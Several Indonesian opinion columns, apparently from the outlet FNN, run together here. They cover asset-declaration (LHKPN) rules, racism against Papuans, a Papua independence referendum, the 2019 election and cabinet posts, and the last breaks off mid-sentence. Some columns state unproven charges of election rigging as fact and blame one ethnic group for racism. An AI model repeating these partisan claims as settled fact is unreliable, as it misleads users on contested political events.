dari aturan terkait LHPKN yang menyebut secara eksplisit alasan-alasan dibalik kewajiban melapor LHKPN itu. Dalam situs resmi KPK, disebutkan ada tiga dasar hukum LHKPN. Pertama, UU Nomor 28 Tahun 1999 tentang Penyelenggara Negara Yang Bersih Dan Bebas Dari Korupsi, Kolusi Dan Nepotisme. Kedua, UU Nomor 30 Tahun 2002 tentang Komisi Pemberantasan Tindak Pindana Korupsi. Ketiga, Peraturan Komisi Pemberantasan Korupsi Nomor: 07 Tahun 2016 tentang Tata Cara Pendaftaran, Pengumuman dan Pemeriksaan Harta Kekayaan Penyelenggara Negara. Masih menurut informasi di situs KPK, dinyatakan bahwa bagi Penyelenggara Negara yang tidak memenuhi kewajiban LHKPN sebagaimana diatur dalam UU Nomor 28 Tahun 1999, maka berdasarkan Pasal 20 undang-undang yang sama akan dikenakan sanksi administratif sesuai dengan perundang-undangan yang berlaku. Jelas, karena sanksinya hanya administratif, maka sifat dari melawan hukum atas kewajiban menyetor LHKPN ini adalah “pelanggaran”, bukan kejahatan. Buwas berpegangan pada prinsip ini. Tapi faktanya, sejauh ini belum pernah ada penyelanggara negara dikenakan sanksi oleh instansinya karena tidak menyetor LHKPN ke KPK. Bahkan belum pernah ada pejabat yang ditindak KPK karena katahuan berbohong dalam pengisian LHKPN. Dengan fakta-fakta seperti itu, apa urgensinya KPK membikin aturan wajib setor LHKPN kepada KPK? Memang, dalam dalam Peraturan KPK No. 7 Tahun 2016, pasal 3 ada satu ketentuan mengatakan, “LHKPN yang telah diumumkan tidak dapat dijadikan dasar baik oleh penyelenggara negara maupun pihak mana pun juga untuk menyatakan bahwa Harta Kekayaan Penyelenggara Negara tidak terkait tindak pidana”. Dengan penafsiran bebas, artinya harta kekayaan yang diperoleh seorang sebelum dan sesudah menjadi penyelenggara negara bisa dirampas oleh negara dalam rangka pemulihan kerugian negara akibat korupsi (asset recovery). KPK memang memiliki instrumen asset recovery. Hal ini diatur dalam pasal 18, UU No. 31 Tahun 1999 tentang UU Pidana Korupsi. Ketentuan ini memberi ruang kepada KPK untuk mengajukan tuntutan pidana tambahan berupa perampasan harta kekayaan dari hasil korupsi dan pembayaran uang pengganti yang jumlahnya sama dengan harta benda yang diperoleh dari tindak pidana korupsi. Aturan ini masih diperdebatkan sampai sekarang. Karena tidak saja bersifat ultimum remedium (penghukuman pamungkas), tapi sudah bablas menjadi penghukuman “balas dendam” karena motifnya mengarah kepada “pemiskinan koruptor”. Masalahnya, bagaimana kalau si penyelenggara negara yang bersangkutan sudah kaya raya sebelum jadi pejabat, misalnya karena mendapat warisan atau menikah dengan orang kaya? Apakah harta bawaan tersebut bisa dirampas untuk negara? Bukankah aturan-aturan seperti justru memicu orang untuk berusaha keras menutup-nutupi harta kekayaannya ketika hendak menjadi pejabat negara? Masih ingat kasus korupsi paling heboh yang terjadi tahun 2013? Waktu itu Irjen Polisi Djoko Susilo, Kakorlantas Polri, ditangkap KPK dalam kasus korupsi simulator SIM dan pencucian uang. Djoko dalam persidangan mengaku berbohong dalam mengisi LHKPN tahun 2012. Ia hanya melaporkan total harta dari profesi sebesar Rp 240 juta dan dari bisnis jual beli perhiasan dan properti sebesar Rp 960 juta. Joko mengaku sengaja tidak melaporkan aktivitas bisnis dan perihal istri-istrinya dengan alasan sebagai polisi dilarang memiliki usaha dan juga beristri lebih dari satu. Tapi sekali lagi, Djoko bukan ditangkap KPK karena berbohong dalam pengisian LHKPN, melainkan terlibat dalam kasus berbeda. Bahwa kemudian KPK berhasil menemukan harta kekayaan Djoko diluar LHKPN-nya itu karena pintar-pintarnya penyidik KPK dalam menelusuri harta kekayaan terpendam dari Djoko. Seperti diketahui, dalam kasus tersebut KPK sempat menyita sebuah rumah di Kota Solo, milik istri ketiga Djko Susilo, Dipta Anindita, karena diduga hasil tindak pindana pencucian uang terkait korupsi yang dilakukan Djoko. Belakangan, orang tua dari Dipta (mertua Djoko) terpaksa merogoh kocek sendiri hingga Rp 6 miliar untuk menebus rumah warisan tersebut karena ada wasiat dari orang tuanya agar rumah tersebut tidak boleh beralih kepada pihak lain kecuali kepada keluarga sendiri. Konsep Harta Kekayaan Menurut Ajaran Agama Dalam ajaran Islam, semua manusia dibolehkan bahkan diajurkan menjadi orang yang kaya raya. Allah SWT berfirman dalam Surat Al Hajj, ayat 50, "Maka bagi orang beriman dan beramal saleh, bagi mereka ampunan dan rezeki yang mulia.” Begitu banyak ajaran Islam tentang harta kekayaan. Para ulama sering mengulang-ulang ayat-ayat ini. Bahwa harta kekayaan yang diperoleh manusia adalah “reward” atas ikhtiar, doa, tawakal, sedekah, taqwa, rendah hati dan segala perbuatan terpuji yang diridhoi Allah. Tapi di sisi lain, dalam ajaran Islam, manusia tidak bisa mengklaim kepemilikan harta kekayaan secara pribadi. Dalam Surat Al-Hadid ayat 7, Allah berfirman, “Berimanlah kamu kepada Allah dan Rasul-Nya dan nafkahkanlah sebagian dari hartamu yang Allah telah menjadikan kamu menguasainya. Maka orang-orang yang beriman di antara kamu dan menafkahkan (sebagian) dari hartanya memperoleh pahala yang besar.” Sangat tegas, dalam ajaran Islam, harta kekayaan yang diperoleh semua manusia, sesungguhnya adalah milik Allah SWT. Dalam ajaran Kristen pandangan tentang harta kekayaan manusia juga harus bersumber dari Al- Kitab. Tidak ada ajaran Kristen yang mengutuk dan menyalahkan siapapun karena memiliki harta kekayaan yang banyak. Dalam Perjanjian Baru, Filipi 4:19 disebutkan: "Allahku akan memenuhi segala keperluanmu menurut kekayaan dan kemuliaan-Nya dalam Kristus Yesus.” Dalam ajaran Islam maupun Kristen atau agama apapun, sejatinya memang tidak ada konsep kepemilikan harta kekayaan secara pribadi. Keyakinan seperti ini banyak dipegang oleh masyarakat Indonesia yang agamis. Sehingga jangan heran, dalam setiap publikasi sumbangan bencana alam melalui media massa, sering kali tertera nama penyumbang “Hamba Allah” atau “Hamba Tuhan”. Hal tersebut bukan berarti si penyumbang berniat menutupi-nutupi identitas pribadinya, melainkan justru memohon keridhoan Allah atas rezeki atau harta kekayaan yang disumbangkan kepada korban bencana. Jadi, aturan wajib melapor LHKPN ke KPK memang kontradiktif dengan norma-norma agama yang masih dipegang kuat oleh mayoritas masyarakat Indonesia. Jika aturan LHKPN ini diwajibkan, konsekwensinya seseorang merasa dipaksa menyibukan diri melakukan pencatatan dan bersedia mengumumkan harta kekayaan yang sesungguhnya bukan miliknya, melainkan milik Tuhan. Jauh hari Buwas dan Dharma mempersolakan LHKPN, penulis pernah ngobrol dengan seorang kawan pengusaha yang mau ikut kontes pilkada. Tiba-tiba sekretarisnya masuk dan bertanya, "Pak ini LHKPN ngisinya bagaimana?" Sekretrarisnya minta petunjuk berapa nilai saham di perusahaan A, B, C dan seterusnynya. Pengusaha ini nampak bingung, lalu nyeletuk dengan nada kesal, “Sudah, terserah kamu saja yang ngisi. Jangan saya, nanti dibilang riya!” Riya adalah suatu definisi dari ajaran Islam tentang seseorang yang memamerkan sesuatu yang dimiliki atau diperbuat dengan tujuan dipuji atau mendapatkan penghargaan lebih dari orang lain. Lawan kata dari riya adalah ihklas. Dalam ajaran Islam, orang yang riya akan terhapus segala amalannya. Sebaliknya, setiap orang yang ikhlas, sekecil apa pun amalannya, akan dicatat sebagai pahala oleh Allah. LHKPN Bisa Memicu Pujian dan Fitnah Dalam ajang Pilpres kemarin ada isu hangat yang berkembang di masyarakat. Seperti di ketahui, menjelang pelaksanaan Pilpres 2019, Komisi Pemilihan Umum (KPU) mengumumkan LHKPN calon presiden dan wakil presiden. Sebagaimana bunyi Peraturan KPU (PKPU) Nomor 20 Tahun 2018, capres dan cawapres wajib untuk melaporkan LHKPN sebagai syarat pencalonan. Dari data yang diumumkan KPU, tercatat harta kekayaan yang dilaporkan calon presiden nomor urut 01 Joko Widodo sebesar Rp 50,24 miliar. Rinciannya, harta tanah dan bangunan Rp 43,88 miliar, alat transportasi dan mesin Rp 1,08 miliar, harta bergerak lainnya Rp 360 juta, kas dan setara kas Rp 6,10 miliar, dan hutang Rp 1,19 miliar. Cawapres nomor urut 01, Ma'ruf Amin, melaporkan harta sebesar Rp 11,64 miliar. Rinciannya, harta tanah dan bangunan Rp 6,97 miliar, alat transportasi dan mesin Rp 1,62 miliar, harta bergerak lainnya Rp 226 juta, kas dan setara kas Rp 3,47 miliar dan hutang Rp 657 juta. Prabowo Capres nomor urut 02, Prabowo Subianto, melaporkan total LHKPN sebesar Rp 1,95 triliun. Dengan rincian, harta tanah dan bangunan Rp 230 miliar, alat transportasi dan mesin Rp 1,43 miliar, harta bergerak lainnya Rp 16,41 miliar, surat berharga Rp 1,7 triliun, kas dan setara kas Rp 1,84 miliar., Total LHKPN cawapres nomor urut 02 Sandiaga Uno mencapai Rp 5 triliun. Rinciannya, harta tanah dan bangunan Rp 191 miliar, alat transportasi dan mesin Rp 325 juta, harta bergerak lainnya Rp 3,2 miliar, surat berharga Rp 4,7 triliun, kas dan setara kas Rp 495 miliar, harta lainnya Rp 41,29 miliar dan hutang Rp 340 miliar. Media massa kemudian mengulas dan membuat grafis ranking total kekayataan mereka. Yang terkaya, Sandi (Rp 5 triliun). Kedua, Prabowo (Rp, 1,9 triliun). Lalu Jokowi (Rp 50, 24 miliar) dan “termiskin” Ma’ruf Amin (Rp 11, 64 miliar). Nah, menariknya, harta kekayaan Prabowo dan Sandi yang “fantastis” tidak terlalu banyak dipersoalkan oleh masyarakat. Karena ada mindset bahwa seorang presiden dan wakil presiden sebaiknya memang orang yang sudah mapan secara ekonomi, sudah kaya raya, supaya tidak tergoda korupsi lagi. Pandangan seperti ini tentunya membuat orang baik yang kebetulan tidak kaya raya menjadi minder tampil di ajang pilres. Sebaliknya, LHKPN dari Jokowi dan Ma’ruf yang nilainya kecil justru dicurigai telah di-markdown alias sengaja dikecilkan. Apalagi, belakangan ada rilis dari KPU yang menyebutkan dana sumbangan pribadi Jokowi untuk kampanye pilpres mencapai Rp. 19,5 miliar. Padahal dalam LHKPN-nya, total kekayaan Jokowi hanya Rp 50,2 miliar dan yang berupa kas hanya Rp. 6,1 miliar. Hal ini dianggap “mencurigakan” sehingga dipersoalkan oleh kubu Prabowo-Sandi sampai ke Mahkamah Konstitusi. Belakangan tim sukses Jokowi-Maruf menyebut hal tersebut terjadi karena "kesalahan input". Ada pun harta kekayaan Ma’ruf Amin diributkan pubik karena selama massa kampanye, media massa sering menyebut kediaman Ma’ruf Amin terletak di kawasan elite Menteng, persinya di Jalan Situbondo No. 12. Rumah tersebut digambarkan besar dan mewah. Padahal banyak masyarakat tahu, Ma’ruf Amin adalah kyai terkenal yang tinggal di kawasan sederhana di Koja, Jakarta Utara. Apakah Maruf punya satu atau dua rumah di Jakarta? Tidak ada penjelasan sampai sekarang. Jika Maruf punya rumah di kawasan Menteng, yang ditaksir bernilai puluhan miliar, mengapa ia melaporkan harta kekayaanya cuma Rp. 1,9 miiliar, dengan rincian harta tanah dan bangunan cuma Rp 230,4 juta? Apakah Maruf Amin telah berbohong? Belum tentu juga. Bisa jadi rumah di Jalan Situbondo itu cuma kontrakan atau dipinjamkan oleh seorang pengusaha pendukungnya. Apakah rumah kontrakan atau pinjaman harus dilaporkan dalam LHKPN? Jelas tidak. Karena yang diisi di LHKPN harus harta kekayaan pribadi. Jangan lupa, menurut aturannya, LHKPN ini setelah diserahkan ke KPK juga diumumkan ke publik. KPK memberi ruang kepada sasyarakat untuk melaporkan apabila di lingkungannya diketahui ada pejabat yang tidak melaporkan harta kekayaannya dengan benar dengan melampirkan bukti pendukung seperti foto dan info lainnya melalui email. Alhasil, LHKPN ini dalam prakteknya lebih banyak mudarat daripada mamfaatnya. Karena seseorang pejabat bisa terpaksa berbohong saat mengisi laporan LHKPN-nya dengan berbagai pertimbangan pribadi. Bisa jadi agar asal usul harta kekayaannya diusik atau mungkin pula karena tidak ingin dianggap riya (pamer). Sebaliknya, tetangga atau orang lain bisa mengirim informasi palsu ke KPK untuk mendiskreditkan seorang pejabat. Karena mindset seseorang terhadap harta kekayaan orang lain tidak selalu sama. Bisa melahirkan pujian, tapi bisa pula menjurus kepada fitnah. Dalam persepsi publik seperti itu KPK bakal disibukan dengan klarifikasi harta kekayaan seseorang yang dilaporkan orang lain. Padahal belum tentu seseorang jadi kaya karena korupsi. Sekarang kita ambil hikmahnya saja. Apa yang dipersoalkan Dharma dan Buwas adalah PR tersendiri bagi KPK. Menurut informasi resmi KPK, saat ini ada 350.539 orang penyelenggara negara yang punya status wajib setor LHKPN. Sementara SDM di KPK cuma 1600 orang, itu pun yang punya kapasitas sebagai penyelidik/penyidik tidak lebih dari setengahnya. Apakah tidak ada cara lain yang lebih efektif dalam mencegah dan memberantas korupsi? Dalam praktek selama ini KPK sudah terbukti mampu menangkapi koruptor melalui instrumen penyadapan dan pelaporan masyarakat. Untuk kepentingan pemulihan aset hasil korupsi, toh KPK bisa berkoordinasi dengan Bank Indonesia dan Ditjen Pajak. Apa susahnya? Sekian

Negara Tidak Boleh Justifikasi Rasisme & Papua Phobia Dengan Kriminalisasi Rakyat Papua

Tindàkan rasialisme itu tindakan yang menyerang dan merendahkan martàbat setiap individu. Karena itu ketika orang Papua dikatakan Monýet dan Gorila, tentu memancing reaksi indìvidu yang ras, warna kulit dan etño biologis yang sama sebagai bangsa Papua melanesia. Karena itulah tindakan perlawanan atau anti rasial muncul secara spontanitas oleh setiap individu di Papua. Oleh Natalius Pigai Aktivis Kemanusiaan Jakarta, FNN - Pernyataan Wiranto bahwa perusuh di Manokwari diproses secara hukum sebagai mana dilansir media online kumparan, tanggal 19 agustus 2019. Tentu saja Wiranto tidak eloķ dan pantas sasar kepada rakyat Papua ýang pada saat ini pòsisinya sebagai korban rasialisme di Indonesia. Apalagi rakyat Papua melakukan tindakan menentang/penghapusan diskriminasi rasial yang merupakan sèmangat/menstream dunia internasional yang ingin membangun peradaban baru anti diskriminasi dan masyarakat inklusif. Negara sejatinya mendorong terciptanya situasi yang aman dan kondusif dengan pendekatan persuasif dan bermartabat, serta sebagai orang Jawa dimana sukunya adalah pelaku rasialisme bisa dianggap sangat subjektif dan tidak kredibel. Menjamurnya rasialisme dan Papua Phobia atau Phobia terhadap orang Papua dan kulit hitam sesungguhnya bukan hal baru di Indonesia. Tindakan itu sudah dilakukan sejak pasca integrasi politik Indonesia 1970an kemudian 1980an sampai hari ini dan terus berlangsung. Papua phobia justru dilakukan oleh kaum migran yang mengadu nasip hidup di Papua, àparat TNI/Polri, Pènegak Hukum dan Koorporasi, masyarakat Papua tidak memiliki daya juang untuk mencari keadilan melalui proses hukum. Dengan ini dapat disimpulkan bahwa tidak ada pembangunan integrasi politik di Papua secara subtansial. Akibatnya, kondisi hari ini adalah hasil resultante dari kegagalan pembentukan karakter dan rasa kebangsaan (nation and charakter Building). Negara mesti berpikir dan bernarasi di tingkat seperti itu bukan bernarasi rendahan dan/atau bernarasi konotasi negatif dengan cara tambal sulam atau setiap masalah langsung diredam melalui penerapan delik secara kaku dan ketat. Negara juga membangun grand design komprehensip tentang pembangunan integrasi politik nasional yang diikat karena adanya keadilan subtantif yaitu keadilan pembangunan maupun keadilan pembagian kekuasaan untuk membangun Indonesia tanggung rènteng. Bagimana 74 tahun Presiden dan Wakil Presiden dipimpin hanya oleh satu suku dari 714 suku di Indonesia. Itu adalah problam paling serius. Maka; design politik kebangsaan dan multi kultur melalui 1). Tanpa presidensial threshold. 2). Sistim pemilu Popular Vote (satu orang satu suara satu nilai) dianggati dengan Èĺektoral Collage (sistim distrik); 3). Sistim giliran Jawa luar Jawa atau Indonesia Timur, tengah dan barat; 4). Konsensus nasional ùntuk pembagian kekuasaan dan struktur anggaran nasional; 5). Meninggalkan desentralisasi simetris ke desentralisasi asimetris, karena setiap daerah memiliki gaya dan pola kepemimpinan serta adat istiadat yang berbeda Itulah pekerjaan pelerjaan pemerintah yang sesungguhnya untuk memantapkan politik lebanģsaan untuk ratusan tahun yang akan datang. Kecenderungan hari ini adalah design politik menguntungkan satu suku dan tercipta kultus budaya dan suku, semakin haus akan kekuasaan, makin rakus dan sombong sehingga merendahkan harkat dan martabat suku-suku lain sebagaimana terjadi pada hari ini. Saya meminta saudara Negara tidak menyalagunakan otoritas negara untuk menjastifikasi tindakan rasisme dengan kriminalisasi terhadap rakyat Papua yang protes baik di Manokwari, Sorong, Jayapura dan hampir semua penjuru Propinsi Papua dan Papua Barat. Tindàkan rasialisme itu tindakan yang menyerang dan merendahkan martàbat setiap individu. Karena itu ketika orang Papua dikatakan Monýet dan Gorila, tentu memancing reaksi indìvidu yang ras, warna kulit dan etño biologis yang sama sebagai bangsa Papua melanesia. Karena itulah tindakan perlawanan atau anti rasial muncul secara spontanitas oleh setiap individu di Papua. Tidak Ada Aktor Yang Mengarahkan, Menuntutn dan Memimpin. Pemerintah mendorong proses hukum terhadap rakyat Papua, maka sudah dipastikan kriminalisasi dan ketidak adilan. Sebagai aktivis kemanusiaan yang secara individu pernah menangani lima belas ribu kasus di Indonesia, pernah mengunjungi 34 Propinsi di Indonesia meneliti dan melihat lebih dari 400 Kabupaten/Kota, sangat memahami tipologi kasus, sehingga mudah memperkirakan perlawanan besar akan muncul dan fragmentasi suku, agama, antar golongan àkan makin mengkristal. Dalam konteks sosiologi konflik, rasialisme muncul sebagai isu yang timbul tenggelam (recurent issues). Di Negara lain, perlawanan terhadap rasialisme, senophobia dan anti semistik adalah perang tanpa titik akhir (infinity war). Ìtu yang harus dicamkan. End

Referendum Papua, Mungkinkah?

Keinginan mereka merdeka masih mix antara perluasan otonomi sebesar besarnya demi kemakmuran rakyat (rakyatnya yang merdeka bukan Papua) vs merdeka. Namun, setelah Theys di bunuh di era Presiden Megawati, beberapa tahun kemudian, Toha Alhamid mengatakan pada saya, Bangsa Papua sudah sulit untuk bersama Indonesia. By Dr. Syahganda Nainggolan Sabang Merauke Circle Jakarta, FNN - Jokowi telah melakukan "touring" di Papua. Dengan sepeda motor yang canggih, beberapa tahun lalu. Berbagai pembangunan juga dibanggakan Jokowi bahwa dia sebagai pemilik prestasi terbesar membangun jalan yang terpanjang selama Papua bersama Indonesia. Buzzer2 Jokowi malah memposting2 jalanan yang indah mirip di negara2 maju sebagai jalan yang dibangun Jokowi di Papua. Rakyat Papua juga mencintai Jokowi dengan memilih Jokowi sebagai capres hampir 100%. Apakah rakyat Papua lalu semakin cinta Indonesia? atau cinta NKRI? Setelah dinyatakan bergabung dengan Indonesia pada tahun 1969? Saya baru saja melihat video ribuan atau puluhan ribu massa di depan kantor Gubernur Papua Barat. Pada acara kemarin, seorang ibu berpidato. Ibu itu mengatakan bahwa anak-anak Papua yang di Jawa adalah anak-anak yang dia lahirkan, bukan anak monyet. Dia berkeringat membesarkan anak-anak itu. Dalam keringat itu mengalir darah Papua. Tapi mengapa Jawa dan NKRI menindas anak-anak Papua? Lalu ibu itu meneriakkan yel-yel, setelah berhenti menghela nafas. Teriaknya dlanjutkan dengan kata “Papua”, puluhan ribu rakyat langsung meneriakkan jawaban, "MERDEKA”. Setelah itu sambutnya lagi dengan kata “Referendum”, sahutan massa, “YES” Teriakan Merdeka yang saya lihat bukan seperti 21 tahu lalu. Ketika saya menanyakan hal tersebut kepada almarhum Theys Eluay dan Toha Al Hamid. Beberapa hari sebelum Theys Eluay dibunuh, pemimpin Bangsa Papua itu bersama sekjennya, Toha Alhamid sempat makan siang bersama almarhum Adi Sasono, Yorrys R, dan saya. Keinginan mereka merdeka masih mix antara perluasan otonomi sebesar besarnya demi kemakmuran rakyat (rakyatnya yang merdeka bukan Papua) vs merdeka. Namun, setelah Theys di bunuh di era Presiden Megawati, beberapa tahun kemudian, Toha Alhamid mengatakan pada saya, Bangsa Papua sudah sulit untuk bersama Indonesia. Menurut Toha Alhamid, seluruh negara-negara Melanesia di Pasifik dan jaringan Gereja di Amerika semakin bulat mendukung Papua berpisah. Paska kematian Theys, kecenderungan Papua tidak pernah lagi mix antara merdeka vs atau ragu-ragu. Kecenderungan keinginan merdeka semakin dominan. Bendera-bendera Merah Putih sudah dibakar sebagain mereka. Olivia Tasevski dalam "West Papua's Quest for Independence", July 2019, the Diplomat, menjelaskan detail dukungan yang semakin besar kepada gerakan Papua Merdeka. Ketua partai oposisi Inggris dari Partai Buruh, Jeremy Corbyn dan Richard Di Natali dari Senator Parlemen Australia diantara figur utama pendukung itu. Benny Wenda, pemimpin Papua Merdeka (ULMWP/United Liberation Movement of West Papuan), mengklaim telah mendapat dukungan dari 1,8 juta jiwa rakyat Papua dalam petisi yang ditujukan ke PBB. Petisi untuk menuntut pengusutan pelanggaran HAM dan menuntut pula kemerdekaan. Petisi itu sudah diterima ketua PBB bagian Human Rights, Michelle Blachelet. Disamping itu, Benny juga telah berhasil meyakinkan negara2 Pasifik untuk ikut dalam pertemuan rutin mereka MSG (Melanesia Spearhead Group). Di sisi lain, dukungan Israel terhadap Papua semakin nyata. Beberapa tahun lalu, Papua mengibarkan bendera Israel ke seluruh penjuru Papua, sebagiannya resmi. Sikap resmi ini diperkuat lagi oleh pernyataan Sekda Papua baru baru ini tentang tanah Papua sebagai tanah Israel. Meskipun Israel, Inggris, Australia dan Amerika tidak melibatkan negara dalam relasi dukungan terhadap Papua merdeka. Namun gerakan rakyat dan elit dari negara-negara tersebut mengindikaiskan kedekatan gerakan Papua Merdeka dengan mereka. Sejauh pembahasan ini, kita sudah melihat bahwa kehendak rakyat Papua untuk merdeka, khususnya lima tahun belakangan ini semakin menggila. Lalu bagaimana kita harus berbuat? Sikap lembut Jokowi terhadap Papua selama lima tahun ini, kecenderungannya akan mengantar pada sebuah situasi kompromistis. Selain tentunya balas jasa dukungan orang orang Papua hampir 100 persen dalam pilpres mendukung Jokowi. Jaman Suharto, situasi Papua tenang dan terkendali, karena Suharto melakukan cara kekerasan mempertahankan Papua. Sedangkan masa sebelum Jokowi, beberapa institusi dalam negara memanfaatkan "gerakan jihadis Islam" sebagai milisi sipil berperang atau ancaman memerangi kelompok-kelompok seperatis. Dulu ada "Laskar Jihad" pimpinan Ustadz Ja’far Umar Thalib. Laskar-laskar seperti ini sudah distigma sebagai radikalisme, ISIS dan pembuat kerusuhan. Sehingga akhirnya, situasi separatisme di Papua hanya akan dilawan oleh tentara. Namun, siapkah tentara diterjunkan ke Papua? Tantara tentu sangat siap untuk berperang. Masalahnya tinggal pada Jokowi. Jika Jokowi percaya pada kehendak rakyat, maka referendum bukanlah jalan yang "haram". Negara demokrasi seperti Inggris pun mempersilakan Bangsa Skotlandia untuk melakukan jejak pendapat untuk merdeka tahun lalu. Kenapa kita tidak? Persoalannya adalah apakah kasus Timor Timur akan terulang? Ketika Habibie, Presiden yang dianggap lemah, mempersilakan referendum Timor Timur, akhirnya propinsi ke 27, kala itu, lepas dari Indonesia. Apalagi muncul pertanyaan, bagaimana kalau Papua minta referendum lalu Aceh dan Maluku menuntut yang sama? Semuanya sekarang tergantung Jokowi, dan bersifat urgen. Opsi Jokowi dapat berupa : 1. Menyerang gerakan Papua Merdeka dan anasir-anasirnya secara massif. 2. Jokowi melakukan referendum rakyat Indonesia untuk mengijinkan atau tidak mengijinkan Referendum Rakyat Papua. 3. Memberi ijin Referendum Papua Sambil menunggu keputusan Jokowi, lembaga saya Sabang Merauke Circle, nasibnya diujung tanduk. Karena Sabang dan Merauke mungkin saja hilang. Tinggal Circle nya saja. End

Bukan Soal GBHN, Tapi Soal Moralitas dan Kapasitas

Presiden kalian tebirit-birit. Dia menyerahkan banyak urusan kepada beberapa orang saja. Pembangunan infrasturktur dan pengembangan ekonomi dilaksanakan acak-acakan, tanpa pedoman. Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Perdebatan hangat tentang kesinambungan pembangunan, tidak menyentuh persoalan fundamental yang kita hadapi. Banyak yang berpendapat ketiadaan GBHN (Garis Besar Haluan Negara) membuat penjabaran kekuasaan pemerintahan menjadi amburadul, akhir-akhir ini. Yang lainnya mengatakan, berbagai klausul UUD 1945 juga menjadi masalah. Sesungguhnya, bukan itu yang menjadi persoalan. Bukan GBHN. Bukan juga isi UUD 1945. Masalah besarnya adalah moralitas dan kapasitas pemimpin. Kapasitas politisi. Itu yang menjadi problem utama. Inilah yang absen. Inilah yang menyebabkan politik Indonesia menjadi kacau. Sebaik apa pun GBHN dan UUD, tidak ada artinya kalau para politisi dan pimpinan negara tidak punya moralitas dan kapasitas. Sehebat apa pun GBHN, di tangan orang yang ‘brainless’ tetap saja tidak ada gunanya. Begitu pula UUD. Jadi, presiden tanpa GBHN bukan masalah. Yang menjadi masalah adalah kalian tak punya moralitas. Kalian curangi proses pilpres sehingga dimenangkanlah orang yang tidak berkapasitas. Yang tidak bisa apa-apa. Kalian atur lembaga pelaksana pemilu agar capres kalian menang. Inilah yang menjadi masalah mendasar. Capres yang bagus kualitasnya kalian rekayasa menjadi kalah. Padahal, jelas-jelas capres yang dikalahkan itu punya kemampuan dan dipilih oleh mayoritas rakyat. Kalian singkirkan capres yang memiliki visi pembangunan jangka panjang. Yang paham tentang kesinambungan. Kalian paksakan capres yang berambisi jangka pendek. Yang tidak paham meletakkan dasar-dasar pembangunan yang bervisi jauh ke depan. Sekarang, kalian salahkan ketiadaan GBHN. Capres berkapasitas yang dipilih mayoritas, kalian paksa kalah. Berantakanlah. Kesapakatan mayoritas rakyat, kalian batalkan dengan kekuasaan kalian. Rakyat mengatakan capres ini mampu mendefinisikan pembangunan yang berkelanjutan. Tapi kalian intervensi semua lembaga pemilu, lembaga peradilan, dan lembaga kekuasaan lainnya agar capres pilihan mayoritas itu tidak menang. Akibatnya sangat fatal. Negara ini terombang-ambing. Rajut sosial compang-camping. Perekonomian dan pembangunan morat-marit. Presiden kalian tebirit-birit. Dia menyerahkan banyak urusan kepada beberapa orang saja. Pembangunan infrasturktur dan pengembangan ekonomi dilaksanakan acak-acakan, tanpa pedoman. Inilah pilihan kalian, ahli pencitraan. Tidak ada kapasitas. Dan berada di bawah kendali koalisi. Koalisi yang hanya memikirkan dana parpol dari pemilu ke pemilu, dari pilkada ke pilkada. Kalau presiden memiliki kapasitas, dia tak akan mengutamakan pencitraan untuk ditayangankan di televisi. Tak ada moral, nol kapasitas. Dia tidak tahu bahwa dia tak mampu. Tapi kalian paksakan terus. Tanpa moral, kalian paksakan kemenangannya. Dan tanpa moral juga, dia terima kemenangan syubhat itu. Tanpa kapasitas, dia jalankan jabatan yang direbut secara brutal itu. Sekarang, kalian mulai ragu. Pembangunan tanpa visi. Tidak ada arah. Tak jelas apa yang ingin dicapai dalam 20-25 tahun ke depan. Dia tak punya bayangan. Asyik dengan angan-angannya sendiri. Itulah akibat ketiadaan moralitas dan kapasitas. Tidak ada rasa malu ketika rakyat memberikan aba-aba “sudah cukuplah Anda”. Inilah yang disebut tak bermoral. Setelah dipaksakan terus, pengelolaan negara menjadi amburadul. Inilah pertanda nol-kapasitas. Moralitas sangat krusial. Itulah yang membuat proses pemilihan pemimpin dan rekrutmen politik menjadi relatif bersih di mesin demokrasi Barat. Pencurangan suara adalah dosa besar bagi mereka. Orang yang melakukan itu akan hilang dari peredaran. Karir mereka selesai. Moralitas politisi di negeri lain didukung oleh moralitas dua pilar demokrasi lainnya. Yaitu, media massa dan sistem peradilan. Di sana, tidak akan pernah terjadi media massa mendiamkan para politisi bejat. Meskipun media tsb adalah pendukung ideologi partai si politisi bejat itu. Di sini, media massa mainstream terang-terangan melindungi para politisi busuk yang mereka sukai. Begitu juga sistem peradilan mereka. Tidak bisa dicampuri oleh siapa pun. Tidak akan pernah ada kontak antara pemegang kekuasaan dengan para hakim. Apalagi intimidasi. Di negeri ini, kelihaian menipu atau mencurangi pemilihan dianggap sebagai kehebatan. Para politisi tak merasa risih ketika kekalahan mereka, dengan segala cara, mereka balikkan menjadi kemenangan. Inilah yang sekarang mencelakakan Indonesia. Pada usia 70 tahun tempo hari, seharusnya Indonesia memiliki pemimpin yang cerdas, kuat, dan jujur. Yang lahir dari proses seleksi demokratis tanpa rekayasa dan intervensi. Dia lahir dari pergelutan kapasitas di bawah sorotan tajam media massa. Kalau pemimpin punya moralitas, dia pasti menghindarkan perbuatan korup. Dan jika dia punya kapasitas, dia akan mampu dan mengerti menjalankan pemerintahan. Dengan sendirinya, dia paham tentang konsep pembangunan yang berkesinambungan. Dia tahu tujuannya dan paham cara mencapainya. Tanpa GBHN. Jadi, sekali lagi, semua ini bukan soal GBHN. Melainkan moralitas dan kapasitas. Kalau kedua aspek ini eksis, insyaAllah Indonesia akan memiliki pemimpin yang hebat dari segala sisi. (19 Agustus 2019)

Pepesan Kosong Kabinet Jokowi-Ma’ruf

Mana mungkin Golkar, PKB, dan Nasdem bersedia mendapat jatah satu kursi sama dengan parpol lain, termasuk yang tidak lolos parlemen seperti Hanura, Perindo, PKPI, dan PSI. Oleh : Hersubeno Arief Jakarta, FNN - Menyimak penjelasan Presiden Jokowi kepada para pimpinan media soal komposisi kabinet, hampir dapat dipastikan banyak parpol yang bakal gigit jari. Apalagi partai pendukung paslon 02 yang ingin merapat ke pemerintah. Termasuk Gerindra. Jangan terlalu terbuai mimpi mendapat banyak jatah kursi, konon pula pos-pos kementerian yang basah dan prestisius. Bisa masuk dan mendapat pos alakadarnya saja, sudah sangat beruntung. Seperti pengakuan Jokowi, susunan kabinetnya sudah final. Ada menteri yang berusia di bawah 30 tahun. Ada yang berusia antara 30-40 tahun. Keduanya berasal dari kalangan profesional. Jokowi mengklaim, rekam jejak manajerialnya, bagus. “Profesional akan mendapat porsi 55 persen, dan parpol 45 persen,” ujarnya. Dengan rumus tersebut, berarti kalangan parpol hanya akan kebagian 15 kursi. Maksimal 16 kursi. Hal itu sesuai dengan ketentuan UU jumlah kementerian sebanyak 34. Mari berhitung berapa kira-kira jatah menteri yang akan didapat masing-masing parpol. Pada Pilpres 2019 